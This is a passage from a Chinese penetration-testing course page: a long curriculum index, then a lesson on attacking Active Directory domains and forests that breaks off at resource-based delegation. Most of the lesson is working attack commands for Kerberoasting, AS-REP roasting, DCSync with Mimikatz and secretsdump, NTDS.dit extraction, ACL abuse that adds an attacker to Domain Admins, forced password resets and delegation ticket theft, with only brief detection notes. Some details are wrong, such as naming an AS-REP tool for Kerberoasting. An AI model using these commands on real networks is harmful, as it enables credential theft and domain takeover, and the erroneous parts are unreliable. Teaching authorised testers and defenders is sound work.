公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-141-应用安全总结与展望
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
Day-182-密码学系列总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-206-渗透测试中的域森林渗透技术
# Day 237: 渗透测试中的域森林渗透技术 > 渗透测试系列第 27 天 | 预计阅读时间:40 分钟 | 难度:★★★★★ --- ## 清单 目录 1. [Active Directory 概述](#active-directory-概述) 2. [AD 基础架构与组件](#ad-基础架构与组件) 3. [域信息收集](#域信息收集) 4. [凭证获取与攻击](#凭证获取与攻击) 5. [权限提升技术](#权限提升技术) 6. [横向移动技术](#横向移动技术) 7. [持久化技术](#持久化技术) 8. [域信任攻击](#域信任攻击) 9. [林间攻击](#林间攻击) 10. [检测与防御](#检测与防御) 11. [实战案例](#实战案例) 12. [总结与思考](#总结与思考) 13. [参考资料](#参考资料) --- ## Active Directory 概述 ### 什么是 Active Directory Active Directory (AD) 是微软开发的目录服务,用于管理 Windows 域网络中的用户、计算机、组和其他资源。它是企业 IT 基础设施的核心,控制着身份认证、授权和策略管理。 ``` ┌─────────────────────────────────────────────────────────────────┐ │ Active Directory 核心概念 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ 层次结构: │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ Forest (林) │ │ │ │ ┌───────────────────────────────────────────────────┐ │ │ │ │ │ Tree (树) │ │ │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐│ │ │ │ │ │ │ Domain │ │ Domain │ │ Domain ││ │ │ │ │ │ │ (域) │ │ (域) │ │ (域) ││ │ │ │ │ │ │ ┌───┐ │ │ ┌───┐ │ │ ┌───┐ ││ │ │ │ │ │ │ │OU │ │ │ │OU │ │ │ │OU │ ││ │ │ │ │ │ │ └───┘ │ │ └───┘ │ │ └───┘ ││ │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘│ │ │ │ │ └───────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ 核心组件: │ │ ├── Forest (林): 最高层级,共享 schema 和配置 │ │ ├── Tree (树): 连续的命名空间 │ │ ├── Domain (域): 安全边界,独立的认证单元 │ │ ├── OU (组织单元): 管理单元,可应用 GPO │ │ └── Object (对象): 用户、组、计算机、策略等 │ │ │ │ 关键协议: │ │ ├── Kerberos: 主要认证协议 │ │ ├── LDAP: 目录访问协议 │ │ ├── NTLM: 传统认证协议 (仍广泛使用) │ │ └── DNS: 域名解析和服务发现 │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` ### 为什么 AD 是攻击重点 在多年的企业渗透测试中,我观察到 Active Directory 成为攻击核心目标的原因: 1. **集中式身份管理**: 控制 AD = 控制所有资源访问 2. **信任传递**: 域管权限可访问所有域成员 3. **凭证集中存储**: DC 存储所有域用户哈希 4. **配置复杂**: 默认配置存在多种攻击面 5. **遗留兼容**: 支持旧协议 (NTLM) 带来安全风险 6. **权限委派复杂**: 容易产生权限提升路径 ### AD 攻击杀伤链 ``` ┌─────────────────────────────────────────────────────────────────┐ │ AD 攻击杀伤链 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ 1. 侦察 Reconnaissance │ │ └── 收集域信息、用户、计算机、组 │ │ ↓ │ │ 2. 初始访问 Initial Access │ │ └── 钓鱼、漏洞利用、凭证窃取 │ │ ↓ │ │ 3. 权限提升 Privilege Escalation │ │ └── 本地提权、AD 权限滥用 │ │ ↓ │ │ 4. 凭证访问 Credential Access │ │ └── Mimikatz、LSASS 转储、NTDS.dit 提取 │ │ ↓ │ │ 5. 横向移动 Lateral Movement │ │ └── PtH、PtT、RDP、SMB、WMI │ │ ↓ │ │ 6. 持久化 Persistence │ │ └── Golden Ticket、DCShadow、AdminSDHolder │ │ ↓ │ │ 7. 域支配 Domain Dominance │ │ └── DCSync、DC 攻击、林间攻击 │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` --- ## AD 基础架构与组件 ### 核心组件详解 #### 域控制器 (Domain Controller) ``` 域控制器角色: ├── 主要功能 │ ├── 身份认证 (Kerberos/NTLM) │ ├── 目录服务 (LDAP) │ ├── 策略管理 (GPO) │ └── 信任关系管理 ├── 关键服务 │ ├── NTDS (AD 数据库服务) │ ├── KDC (Kerberos 密钥分发中心) │ ├── DNS (域名解析) │ ├── Netlogon (安全通道) │ └── SYSVOL (组策略存储) └── 关键文件 ├── NTDS.dit (AD 数据库) ├── SYSTEM (启动密钥) └── SYSVOL (组策略文件) ``` #### FSMO 角色 ``` FSMO (Flexible Single Master Operations) 角色: ├── 林级别角色 (每个林一个) │ ├── Schema Master (架构主机) │ │ └── 控制 AD schema 修改 │ └── Domain Naming Master (域命名主机) │ └── 控制域添加/删除 └── 域级别角色 (每个域一套) ├── PDC Emulator (PDC 仿真器) │ ├── 密码更改首选 DC │ ├── 时间同步源 │ └── 处理旧客户端请求 ├── RID Master (相对 ID 主机) │ └── 分配 RID 池给 DC └── Infrastructure Master (基础结构主机) └── 更新跨域对象引用 ``` #### AD 分区 ``` AD 数据分区: ├── Schema Partition (架构分区) │ └── 定义所有对象类和属性 ├── Configuration Partition (配置分区) │ ├── 林范围复制 │ └── 包含林配置信息 ├── Domain Partition (域分区) │ ├── 域范围复制 │ └── 包含域对象 (用户、组、计算机) ├── Application Partition (应用程序分区) │ └── 自定义数据 (DNS 区域等) └── GC (Global Catalog, 全局编录) ├── 林范围只读副本 └── 包含所有对象的部分属性 ``` --- ## 域信息收集 ### 本地域信息收集 #### PowerShell AD 模块 ```powershell # 加载 AD 模块 Import-Module ActiveDirectory # 获取域信息 Get-ADDomain | Select-Object DomainMode, DNSRoot, NetBIOSName, DomainControllers Get-ADForest | Select-Object ForestMode, Domains, Sites, GlobalCatalogs # 获取域控制器 Get-ADDomainController -Filter * | Select-Object Name, IPv4Address, OperatingSystem, Site # 获取 FSMO 角色 Get-ADDomain | Select-Object PDCEmulator, RIDMaster, InfrastructureMaster Get-ADForest | Select-Object SchemaMaster, DomainNamingMaster # 获取域信任 Get-ADTrust -Filter * | Select-Object Name, TrustType, TrustDirection ``` #### PowerView 侦察 ```powershell # 下载 PowerView # https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 Import-Module .\PowerView.ps1 # 域信息 Get-NetDomain Get-NetForest Get-NetForestDomain # 域控制器 Get-NetDomainController Get-NetDomainController -Domain corp.local # 域信任 Get-NetForestDomain | Get-NetTrust # GPO 信息 Get-NetGPO Get-NetGPOGroup # GPO 修改的本地组成员 # OU 信息 Get-NetOU -GUID * | Get-NetGPO # 子网信息 Get-NetSubnet Get-NetSite ``` ### 用户信息收集 #### 用户枚举 ```powershell # 所有域用户 Get-ADUser -Filter * -Properties EmailAddress, Department, Title, Manager | Select-Object SamAccountName, Name, EmailAddress, Department, Title, Manager | Export-Csv users.csv -NoTypeInformation # 管理员账户 (adminCount=1) Get-ADUser -Filter {adminCount -eq 1} -Properties MemberOf | Select-Object SamAccountName, Name, MemberOf # 启用 Kerberoast 的账户 (有 SPN) Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName,PasswordLastSet | Select-Object Name, ServicePrincipalName, PasswordLastSet # 启用 AS-REP Roasting 的账户 (不需要预认证) Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties PasswordLastSet | Select-Object Name, PasswordLastSet # 最近活动的用户 Get-ADUser -Filter {lastLogonTimestamp -like "*"} -Properties lastLogonTimestamp | Select-Object Name, @{Name="LastLogon";Expression={[DateTime]::FromFileTime($_.lastLogonTimestamp)}} | Sort-Object LastLogon -Descending # 密码即将过期的用户 Get-ADUser -Filter {PasswordNeverExpires -eq $false} -Properties PasswordLastSet,PasswordExpired | Where-Object {$_.PasswordExpired -eq $false} | Select-Object Name, PasswordLastSet ``` #### 组信息收集 ```powershell # 所有域组 Get-ADGroup -Filter * | Select-Object Name, GroupCategory, GroupScope # 高权限组 $highPrivGroups = @( "Domain Admins", "Enterprise Admins", "Administrators", "Schema Admins", "Domain Controllers", "Enterprise Key Admins", "Key Admins" ) $highPrivGroups | ForEach-Object { Get-ADGroupMember $_ | Select-Object Name, objectClass } # 嵌套组成员 Get-ADGroupMember "Domain Admins" -Recursive | Select-Object Name # 用户所在的组 Get-ADUser targetuser -Properties MemberOf | Select-Object -ExpandProperty MemberOf ``` ### 计算机信息收集 #### 计算机枚举 ```powershell # 所有域计算机 Get-ADComputer -Filter * -Properties OperatingSystem,IPv4Address,LastLogonDate | Select-Object Name, OperatingSystem, IPv4Address, LastLogonDate | Export-Csv computers.csv -NoTypeInformation # 服务器 Get-ADComputer -Filter {OperatingSystem -like "*Server*"} -Properties OperatingSystem,IPv4Address | Select-Object Name, OperatingSystem, IPv4Address # 工作站 Get-ADComputer -Filter {OperatingSystem -like "*Windows 10*" -or OperatingSystem -like "*Windows 11*"} | Select-Object Name, OperatingSystem # 存活计算机 (Ping 扫描) Get-ADComputer -Filter * | ForEach-Object { if (Test-Connection -ComputerName $_.Name -Count 1 -Quiet) { $_.Name } } # 未更新的计算机 (90 天未登录) $cutoff = (Get-Date).AddDays(-90) Get-ADComputer -Filter {LastLogonDate -lt $cutoff} -Properties LastLogonDate | Select-Object Name, LastLogonDate ``` #### 会话和进程侦察 ```powershell # 查找域管理员登录的计算机 Invoke-UserHunter -Verbose # 查找特定用户登录的计算机 Invoke-UserHunter -TargetUser "admin" -Verbose # 查找本地管理员 Invoke-LocalAdminHunter -Verbose # 检查计算机上的会话 Get-NetSession -ComputerName "SERVER01" # 检查计算机上的进程 Get-NetProcess -ComputerName "SERVER01" # 检查计算机上的服务 Get-NetService -ComputerName "SERVER01" ``` ### BloodHound 数据收集 #### Sharphound 使用 ```powershell # 下载 Sharphound # https://github.com/BloodHoundAD/SharpHound # PowerShell 版本 Import-Module .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp # 可执行文件版本 SharpHound.exe -c All SharpHound.exe -c Group,LocalAdmin,GPOLocalGroup,Session,LoggedOn,Trusts,ACL,Container,DCOM,SPNTargets,RDP,ObjectProps,PSRemote # 特定域 SharpHound.exe -d corp.local -c All # 压缩输出 SharpHound.exe -c All --compress ``` #### BloodHound 预定义查询 ``` BloodHound 高价值查询: ├── 最短路径到域管 │ Find Shortest Paths to Domain Admins ├── 所有域管 │ Find All Domain Admins ├── 未约束委派 │ Find Unconstrained Delegation Systems ├── Kerberoastable 用户 │ Find Kerberoastable Users ├── AS-REP Roastable 用户 │ Find AS-REP Roastable Users ├── DCSync 权限 │ Find DCSync Rights ├── 域信任 │ Map Domain Trusts ├── 高价值目标 │ Find Shortest Paths to High Value Targets ├── 本地管理员 │ Find Local Admin Rights └── GPO 权限 Find GPO Changes ``` --- ## 凭证获取与攻击 ### Kerberoasting #### 原理 ``` ┌─────────────────────────────────────────────────────────────────┐ │ Kerberoasting 攻击流程 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ 1. 识别有 SPN 的服务账户 │ │ Get-ADUser -Filter {ServicePrincipalName -like "*"} │ │ ↓ │ │ 2. 请求服务票据 (TGS) │ │ 任何域用户都可以请求任何 SPN 的 TGS │ │ ↓ │ │ 3. 离线破解 TGS │ │ TGS 使用服务账户密码加密 │ │ 可离线暴力破解 │ │ ↓ │ │ 4. 获取明文密码 │ │ 弱密码可被破解 │ │ 用于横向移动 │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` #### 执行 Kerberoasting ```powershell # 使用 PowerView Request-SPNTicket -SPN "MSSQLSvc/sql.corp.local:1433" # 输出 hash 到文件,使用 John/Hashcat 破解 # 使用 Rubeus Rubeus.exe kerberoast /outfile:hashes.txt # 使用 Impacket python3 GetNPUsers.py CORP/ -usersfile users.txt -format hashcat -outputfile hashes.txt # 手动请求 Add-Type -AssemblyName System.IdentityModel $spn = "MSSQLSvc/sql.corp.local:1433" $ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn $ticket.GetRequest() ``` #### 破解哈希 ```bash # Hashcat 破解 hashcat -m 13100 hashes.txt /path/to/wordlist.txt # John the Ripper 破解 john --format=krb5tgs hashes.txt --wordlist=/path/to/wordlist.txt # 常用密码字典 - rockyou.txt - SecLists/Passwords/ - 公司相关密码 (公司名、年份等) ``` ### AS-REP Roasting #### 原理 ``` AS-REP Roasting 攻击: ├── 目标:不需要预认证的用户 (DoesNotRequirePreAuth) ├── 原理:AS-REP 响应使用用户密码哈希加密 ├── 攻击:请求 AS-REP,离线破解 └── 影响:获取用户明文密码 ``` #### 执行 AS-REP Roasting ```powershell # 查找目标用户 Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} # 使用 PowerView Get-ASRepHash -UserName targetuser -Domain corp.local -Format Hashcat # 使用 Rubeus Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt # 使用 Impacket python3 GetNPUsers.py CORP/ -usersfile users.txt -format hashcat -outputfile hashes.txt ``` ### DCSync 攻击 #### 原理 ``` ┌─────────────────────────────────────────────────────────────────┐ │ DCSync 攻击原理 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ DCSync 使用 AD 复制协议获取凭证数据 │ │ │ │ 所需权限: │ │ ├── Replicating Directory Changes │ │ ├── Replicating Directory Changes All │ │ └── (通常域管自动拥有这些权限) │ │ │ │ 可获取数据: │ │ ├── 所有域用户哈希 (包括 krbtgt) │ │ ├── 计算机账户哈希 │ │ └── 历史密码 (如果启用) │ │ │ │ 检测指标: │ │ ├── 事件 ID 4662 (目录服务访问) │ │ ├── 事件 ID 4799 (安全启用对象访问) │ │ └── 非 DC 发起复制请求 │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` #### 执行 DCSync ```powershell # 使用 Mimikatz mimikatz # lsadump::dcsync /user:krbtgt mimikatz # lsadump::dcsync /user:admin mimikatz # lsadump::dcsync /domain:corp.local /all # 使用 Impacket python3 secretsdump.py CORP/admin:password@192.168.1.10 python3 secretsdump.py -hashes :nthash CORP/admin@192.168.1.10 # 使用 PowerView Invoke-Dcsync -Domain corp.local ``` ### NTDS.dit 提取 #### 方法 1: VSS 复制 ```powershell # 在域控制器上执行 (需要管理员权限) # 创建 VSS 快照 ntdsutil "activate instance ntds" ifm "create full c:\temp\ifm" q q # 或使用 vssadmin vssadmin create shadow /For=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*\Windows\NTDS\ntds.dit C:\temp\ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*\Windows\System32\config\SYSTEM C:\temp\ ``` #### 方法 2: 远程转储 ```powershell # 使用 Impacket (需要域管权限) python3 secretsdump.py CORP/admin@dc01.corp.local # 输出: # [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) ``` #### 方法 3: DSA 导出 ```powershell # 在 DC 上使用 ntdsutil ntdsutil > activate instance ntds > ifm > create full c:\temp\ifm > quit > quit # 提取的文件夹包含: # - ntds.dit (AD 数据库) # - SYSTEM (启动密钥) # - registry (注册表) ``` #### 破解 NTDS.dit ```python # 使用 secretsdump 解析 python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL # 使用 ntdsxtract 提取 python3 dsusers.py ntds.dit/ntds.dit --ntoutfile users.txt python3 dshashes.py ntds.dit/ntds.dit --pwoffile hashes.txt ``` --- ## 权限提升技术 ### ACL 攻击 #### ACL 基础 ``` AD 对象权限 (ACE): ├── 标准权限 │ ├── Full Control │ ├── Read/Write │ └── Delete ├── 特殊权限 │ ├── GenericAll (完全控制) │ ├── GenericWrite (写权限) │ ├── WriteDACL (修改 ACL) │ ├── WriteOwner (修改所有者) │ ├── Self (自我修改) │ └── ExtendedRight (扩展权限) └── 常见攻击权限 ├── ForceChangePassword ├── User-Force-Change-Password └── DCSync 权限 ``` #### GenericAll 攻击 ```powershell # 使用 PowerView 查找 GenericAll 权限 Find-InterestingDomainAcl -ResolveGuids # 使用 BloodHound 查询 # Find Shortest Paths to Domain Admins # 利用 GenericAll 添加用户到组 Add-DomainGroupMember -Identity "Domain Admins" -Members attacker -Credential $cred # 或使用 AD 模块 Add-ADGroupMember -Identity "Domain Admins" -Members attacker ``` #### GenericWrite 攻击 ```powershell # 使用 PowerView 查找 GenericWrite 权限 Find-InterestingDomainAcl -ResolveGuids | Where-Object {$_.ActiveDirectoryRights -like "*Write*"} # 利用 GenericWrite 修改用户 SPN (为 Kerberoasting 准备) Set-DomainObject -Identity targetuser -Set @{serviceprincipalname="test/test"} # 修改用户属性 Set-ADUser -Identity targetuser -Replace @{description="backdoor"} ``` #### WriteDACL 攻击 ```powershell # 使用 WriteDACL 给自己添加权限 Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker -Rights All # 然后可以完全控制目标对象 ``` #### ForceChangePassword ```powershell # 使用 ForceChangePassword 修改用户密码 $pass = ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force Set-ADAccountPassword -Identity targetuser -NewPassword $pass -Credential $cred # 或使用 PowerView Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force) ``` ### 委派攻击 #### 未约束委派 ``` 未约束委派 (Unconstrained Delegation): ├── 原理:服务可以代表任何用户访问任何资源 ├── 攻击:诱使域管访问恶意服务,获取 TGT └── 影响:完全模拟域管身份 ``` ```powershell # 查找未约束委派计算机 Get-NetComputer -Unconstrained # 攻击流程: # 1. 控制未约束委派的计算机 # 2. 等待域管登录 (或诱使访问) # 3. 从 LSASS 提取域管 TGT # 4. 使用 TGT 访问任何资源 # 使用 Mimikatz 提取 TGT mimikatz # sekurlsa::tickets /export ``` #### 约束委派 ``` 约束委派 (Constrained Delegation): ├── 原理:服务可以代表用户访问特定服务 ├── 攻击:S4U2self + S4U2proxy └── 影响:访问指定服务 ``` ```powershell # 查找约束委派 Get-NetComputer -TrustedToAuth # 使用 Rubeus 利用 Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:admin /msdsspn:cifs/target.corp.local /ptt # 使用 Impacket python3 getST.py CORP/svc_account:password -spn cifs/target.corp.local -impersonate admin ``` #### 资源基约束委派 (RBCD) ``` RBCD (Resource-Based Constrained Delegation): 